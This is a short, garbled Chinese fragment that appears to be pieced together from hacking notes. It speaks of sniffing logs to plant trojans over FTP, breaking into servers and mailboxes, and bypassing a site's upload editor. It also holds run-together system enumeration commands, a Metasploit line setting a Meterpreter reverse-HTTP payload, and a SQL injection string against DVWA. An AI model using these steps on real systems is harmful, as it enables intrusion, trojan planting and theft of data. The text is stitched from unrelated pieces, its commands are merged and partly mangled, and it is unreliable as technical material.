db="data/rds_dbd32rfd213fg.mdb" 2.侦听后能够写入日志，过后用来FTP挂马用，或直接登陆服务器，侵略邮箱等　　这儿有两个上传点，一个是ewebeditor的，别的一个是网站自带的，这儿咱们先测验一下打破网站自带的编辑器。

cat /etc/issuecat /etc/*-releasecat /etc/l *** -release # Debiancat /etc/redhat-release # Redhatmsf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http输入“' union select user(),database() #”检测出MySQL版别为5.0，当时数据库名为dvwa。